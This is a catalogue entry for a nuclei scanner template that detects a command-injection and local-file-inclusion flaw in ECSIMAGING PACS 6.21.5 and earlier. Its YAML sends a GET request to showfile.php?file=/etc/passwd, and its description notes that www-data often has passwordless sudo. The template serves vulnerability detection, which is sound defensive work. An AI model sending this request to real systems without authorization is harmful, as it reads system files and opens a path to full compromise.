SecurityContext

ecsimagingpacs-rce: ECSIMAGING PACS <= 6.21.5 - Command Execution and Local File Inclusion

  • Template: ecsimagingpacs-rce
  • Name: ECSIMAGING PACS <= 6.21.5 - Command Execution and Local File Inclusion
  • Description: ECSIMAGING PACS Application 6.21.5 and below suffer from a command injection vulnerability and a local file include vulnerability. The 'file' parameter on the page /showfile.php can be exploited to perform command execution or local file inclusion. Often on ECSIMAGING PACS, the www-data user has sudo NOPASSWD access.
  • Severity: critical
  • Authors: ritikchaddha
  • Tags: ecsimagingpacs, rce, vuln
  • References: https://www.exploit-db.com/exploits/49388
  • Max requests: 1
  • Directory: http/vulnerabilities
  • Path: http/vulnerabilities/other/ecsimagingpacs-rce.yaml
  • Digest: 4a0a00473045022100a95f77546436363c9a6b46f74bad4a78d6d24bd6dc0cc60be1c1a6690296395b02207e87940f16a66478d4c63d45ae64012dd6c99565911da72e74caf73248ddb9a2
  • Created at: 2022-05-12T11:19:28Z
  • Updated at: 2025-10-31T05:32:05Z
  • Age in days: 1657
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/ecsimagingpacs-rce.yaml
  • Checked, none or zero: cves, verified, products
  • Not known: impact, remediation

Classification

  • Cwe: CWE-78
  • Not known: cvss score, cvss vector, epss score, epss percentile, cpe

Metadata

  • Max-request: 1
  • Checked, none or zero: verified

Labels

  • Name: ECSIMAGING PACS - Command Injection & Local File Inclusion
  • Impact: Attackers can execute arbitrary commands and read local files, potentially leading to full system compromise.
  • Remediation: Update to the latest version of ECSIMAGING PACS.
  • Vulnerability type: command_injection
  • Vulnerability impact: file_system_read, remote_code_execution
  • Requirements: Attacker needs www-data user with sudo NOPASSWD access
  • Labels source: securitycontext
  • Not known: requirement type, from cve

```yaml

id: ecsimagingpacs-rce

info:

name: ECSIMAGING PACS <= 6.21.5 - Command Execution and Local File Inclusion

author: ritikchaddha

severity: critical

description: ECSIMAGING PACS Application 6.21.5 and below suffer from a command injection vulnerability and a local file include vulnerability. The 'file' parameter on the page /showfile.php can be exploited to perform command execution or local file inclusion. Often on ECSIMAGING PACS, the www-data user has sudo NOPASSWD access.

reference:

- https://www.exploit-db.com/exploits/49388

classification:

cwe-id: CWE-78

metadata:

verified: false

max-request: 1

tags: ecsimagingpacs,rce,vuln

http:

- method: GET

path:

- "{{BaseURL}}/showfile.php?file=/etc/passwd"

matchers-condition: and

matchers:

- type: regex

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 4a0a00473045022100a95f77546436363c9a6b46f74bad4a78d6d24bd6dc0cc60be1c1a6690296395b02207e87940f16a66478d4c63d45ae64012dd6c99565911da72e74caf73248ddb9a2:922c64590222798bb761d5b6d8e72950

```